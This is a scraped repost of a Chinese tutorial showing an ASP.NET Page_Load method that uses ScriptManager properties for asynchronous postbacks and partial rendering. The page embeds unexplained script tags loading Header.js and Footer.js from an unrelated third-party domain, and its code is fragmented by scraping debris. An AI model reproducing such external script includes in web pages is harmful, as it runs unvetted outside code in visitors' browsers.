<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>
protected
void
Page_Load(
object
sender, EventArgs e)
{
//1.在代码中得到当前页面上的ScriptManager对象
ScriptManager theScriptManager = ScriptManager.GetCurrent(this);
//2.属性IsInAsyncPostBack: 类似用传统ASP.NET模型中的Page.IsPostBack属性判断当前服务器执行的代码是否由回送引发,
//IsInAsyncPostBack可以用来判断当前服务器执行的代码是否是由异步回送所引发的
if (theScriptManager.IsInAsyncPostBack)
{
// 仅在异步回送中执行的代码。
}
//3.属性SupportsPartialRendering: 用来判断当前的浏览器是否支持Ajax的局部更新功能,
//我们可以通过判断该属性来决定是在页面中启用Ajax,还是按照传统的方式进行整页回送
if (theScriptManager.SupportsPartialRendering)
{
// 支持Ajax的浏览器,可以使用Ajax的高级功能。
}
else
{
// 不支持Ajax的浏览器,我们还是要按照传统的方式处理页面。
}
//4.Scripts和Services两个属性将分别返回当前ScriptManager对象中引用的脚本文件和Web Service的集合。
//这样,我们即可在程序运行时通过维护这两个集合而动态地对页面中引用的脚本或Web Service代理进行维护
theScriptManager.Scripts.Add(new ScriptReference("MyControl.js"));
}
文章来源于 http://www.cnblogs.com/wf225 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
![](/Images/OutliningIndicators/None.gif)
![](/Images/OutliningIndicators/ExpandedBlockStart.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/ExpandedSubBlockEnd.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/ExpandedSubBlockEnd.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/ExpandedSubBlockEnd.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/InBlock.gif)
![](/Images/OutliningIndicators/ExpandedBlockEnd.gif)
文章来源于 http://www.cnblogs.com/wf225 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>